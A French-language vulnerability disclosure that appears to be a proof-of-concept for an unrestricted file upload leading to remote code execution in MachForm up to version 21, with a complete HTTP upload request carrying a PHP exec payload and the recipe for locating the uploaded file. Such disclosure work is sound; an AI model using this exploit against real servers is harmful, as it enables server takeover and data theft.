
Exploit de preuve de concept pour un téléchargement de fichier illimité authentifié conduisant à une exécution de code à distance dans MachForm jusqu'à la version 21, avec des exemples de requêtes détaillés et des étapes d'exploitation.
MachForm jusqu'à la version 21 est affecté par un téléchargement de fichier non restreint authentifié qui conduit à une exécution de code à distance.
L'application offre la possibilité de créer un formulaire avec une fonctionnalité de téléchargement de fichier. Bien que par défaut les fichiers acceptés soient limités à un sous-ensemble sûr commun, le créateur du formulaire peut également spécifier des formats supplémentaires autorisés.
Si un utilisateur ayant des droits de création de formulaire crée un formulaire avec une fonctionnalité de téléchargement de fichier où le format “PHP” est autorisé, tout utilisateur non authentifié peut exploiter ce formulaire pour obtenir une exécution de code à distance.
Afin d'exploiter cette vulnérabilité, il est nécessaire d'avoir un formulaire avec une fonctionnalité de téléchargement de fichier activée dont les extensions “PHP” sont autorisées.

Une fois cette condition préalable remplie, tout utilisateur non authentifié peut naviguer vers le formulaire pour exploiter la vulnérabilité de téléchargement de fichier.
Les fichiers téléchargés sur le formulaire, qui n'ont pas encore été soumis dans le formulaire, sont téléchargés sur le serveur web dans un répertoire prédéfini avec un format .tmp.

Requête :
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
Le chemin complet du fichier téléchargé peut être construit en utilisant la requête de téléchargement, qui contient tous les champs requis :
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
Dans ce scénario, l'URL du fichier téléchargé sera la suivante :
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

Une fois l'exécution de code à distance obtenue, il est possible d'opérer directement sur le serveur cible, ce qui permettrait d'acquérir un accès au-delà du périmètre de l'application et permettrait de lire des informations sensibles ou de modifier/supprimer des composants principaux.